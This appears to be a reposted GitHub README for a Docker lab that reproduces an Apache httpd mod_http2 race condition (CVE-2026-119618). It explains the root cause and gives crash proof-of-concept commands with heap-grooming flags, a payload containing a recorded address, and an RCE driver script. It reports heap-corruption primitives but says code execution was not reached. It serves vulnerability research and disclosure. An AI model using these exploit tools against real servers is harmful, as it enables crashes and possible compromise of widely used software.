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CVE-2026-119618 — Isolated Docker lab reproducing the CVE-2026-119618 mod_http2 race in Apache httpd 2.4.55–2.4.70, with a crash PoC, heap-corruption primitives, core analysis, and a 2.4.71 A/B control. | Kitploit
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GitHubterminat0r7031/cve-2026-119618

CVE-2026-119618

Isolated Docker lab reproducing the CVE-2026-119618 mod_http2 race in Apache httpd 2.4.55–2.4.70, with a crash PoC, heap-corruption primitives, core analysis, and a 2.4.71 A/B control.

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CVE-2026-119618 — Apache mod_http2 assign_headers() race (CWE-362)

Educational proof-of-concept lab for CVE-2026-119618 (critical; published 2026-11-11), a race condition in Apache HTTP Server's mod_http2 affecting httpd 2.4.55–2.4.70, fixed in 2.4.71. Everything here runs against host-local Docker containers bound to 127.0.0.1 in an isolated network — never aim these tools at any other host.

Results in one paragraph: the bug reproduces as a reliable heap-corruption crash PoC on 2.4.70 (core dumps in apr_table/allocator/pool-destroy paths, 6+ distinct crash modes), and two corruption primitives were achieved: attacker header bytes overwriting a dereferenced data pointer, and a pool-cleanup function-pointer hijack that transfers control to a corrupted plain_cleanup_fn (step-4 primitive B). End-to-end code execution was NOT achieved — steps 5, 6 and 8 each ended with a precise, evidence-backed structural blocker (see Results). The A/B control on 2.4.71 is clean: 189,524 streams across all payload families, zero resets/GOAWAYs/cores.

Root cause

The entire upstream fix (commit 824beab9) is one line in modules/http2/h2_request.c, function assign_headers():

// when: !is_connect && no_body && Content-Type present && Content-Length absent
- apr_table_setn(req->headers, "Content-Length", "0");   // writes SHARED session-side table
+ apr_table_setn(r->headers_in, "Content-Length", "0");  // writes per-request clone (2.4.71)

assign_headers() runs on a mod_http2 worker thread (c2), but req->headers is an apr_table living in the stream pool owned by the nghttp2 session thread (c1). apr_table is not thread-safe, and APR pools do not synchronize same-pool allocation:

        c1 session thread (nghttp2)              c2 worker thread (mod_http2)
        ────────────────────────────             ────────────────────────────
        h2_request_clone / push collect          assign_headers()
        iterate/copy req->headers ──────┐          apr_table_setn(req->headers,
        apr_palloc from stream pool ──┐ │            "Content-Length", "0")
                                      │ │          └─ realloc entry array (80 entries
        shared session allocator ◄────┴─┴──────────── == capacity) + apr_palloc race
        (lock-free on this path)                     ⇒ heap corruption / double-pop

The worker's setn can realloc the table's entry array or overwrite entries while the session thread clones/iterates the same table, and its apr_palloc races session-thread allocations from the same lock-free allocator node. 2.4.71 removes the shared write (uses the per-request r->headers_in clone) and adds pool_lock.

Trigger conditions

An HTTP/2 request whose HEADERS frame carries END_STREAM (no body) with a Content-Type header, no Content-Length, and a non-CONNECT method. The race is session-thread vs worker-thread on the same stream, so the PoC opens many such streams concurrently and amplifies with RST/push/burst timing.

Lab layout

PathPurpose
docker-compose.yamltarget = httpd:2.4.70 (vulnerable), target-fixed = httpd:2.4.71 (A/B), dev = this container
target/httpd-lab.confh2c config injected via -c Include (Listen 8080, Protocols h2c http/1.1, event MPM, CoreDumpDirectory /tmp, CGI enabled)
target/htdocs/push.cgi (emits Link: </style.css>; rel=preload to drive session-thread cloning), diag.cgi (core/proc diagnostics, ?savecore preserves /tmp/core), fetch.cgi (gzip-download files/cores/markers from the target)
poc.pyh2 race client (crash PoC + grooming flags)
exploit.pystep-5/6 RCE driver + reusable helpers (run_poc, save_and_fetch_core, gdb_batch, fixed addresses)
cve2poc/step-8 dual-loop harness (Cve2PoC architecture: spec → static gates → synthesize → execute → oracle → dual-axis scoring → refine/replan)
evidence/step writeups (STEP4_RCE.md, STEP5_RCE.md, STEP6_RCE.md, STEP8_CVE2POC.md), resolved backtraces, analyze_core.sh (offline core resolver), archived cores in target-bin/
src/read-only reference source (httpd 2.4.70, apr 1.7.5) — never built

Environment notes: the agent/dev container has no docker CLI — start targets on the host with docker compose up -d target target-fixed. ASLR is off in this lab, so all recorded addresses (system = 0xffff924292c0, mod_http2 base 0xffff91e60000, header-spray region 0xffff91600000–0xffff91650000, …) are stable across runs. kernel.core_pattern=core and core_uses_pid=0: every crash overwrites target /tmp/core — run curl 'http://target:8080/diag.cgi?savecore' before the next race.

Running the PoC

python3 -m venv .venv && .venv/bin/pip install h2   # once

# Crash PoC (reliable on 2 CPUs; expect exit 1 + a fresh ~1.1 GB core in target /tmp):
.venv/bin/python poc.py --host target --mode flood --connections 16 --streams 100 \
  --rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 15 --persist

# Preserve + fetch + resolve the core (sleep ~15 s first — diag.cgi is unresponsive
# while the core flushes):
curl -s 'http://target:8080/diag.cgi?savecore'
curl -s 'http://target:8080/fetch.cgi?f=core' -o /tmp/c.gz && gunzip -f /tmp/c.gz
bash evidence/analyze_core.sh /tmp/c        # offline gdb vs archived target binaries

# A/B control — identical run vs the patched image; expect 0 resets/GOAWAYs/cores:
.venv/bin/python poc.py --host target-fixed --mode flood --connections 16 --streams 100 \
  --rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 30 --persist

# Step-8 dual-loop harness (strategy registry, dead-veto, dual-axis scoring, stall→replan):
.venv/bin/python -m cve2poc selftest        # offline proof, green before any race
.venv/bin/python -m cve2poc run --strategy S2 --budget 4 --duration 20
.venv/bin/python -m cve2poc status          # reconstruct state from the JSONL reward store

Key poc.py grooming flags: --fill 78 (78 fillers + content-type + host = 80 entries == table capacity ⇒ forces the vulnerable realloc; --fill 0 is the no-race control), --pad N (steers stream-pool consumption against the 8 KB allocator-node boundary; 16 = cleanup-crash window), --mode {race,rst,push,flood,burst} amplifiers, --pattern (recognizable header spray), --payload-hex / --body-hex / --body-every (binary payloads; nghttp2 header values are field-vchar only, so NUL-bearing bytes must ride DATA bodies).

Results

Crash PoC — reproduced (steps 1–3)

poc.py crashes the 2.4.70 worker reproducibly (conn 16 more reliable than 32 on 2 CPUs). Offline-resolved cores classify into 6+ distinct modes: allocator free-list corruption (apr_allocator_free with a checksum-corrupted pointer), apr_table entry races, stream data-pointer corruption, bucket/brigade corruption, pool-destroy cleanup crashes, and APR asserts. Every core is verified for provenance (Apache/2.4.70, pool_lock string absent) before attribution. See evidence/EVIDENCE.md and BACKTRACE_*.txt.

Exploitation milestones — step 4 primitives (delivered fallback)

  • Primitive A: attacker header bytes reproducibly overwrite a dereferenced data pointer (stream->session).
  • Primitive B (highest milestone reached): pool pre_cleanups function-pointer hijack — apr_pool_destroy → run_cleanups (apr_pools.c:2660, ldp x0,x1,[node,#8]; blr x1, no PAC) calls a corrupted plain_cleanup_fn ⇒ corrupted control-flow transfer, evidenced by cores with attacker-influenced PC/x0.

Steps 5/6/8 — why RCE was not reached (precise blockers)

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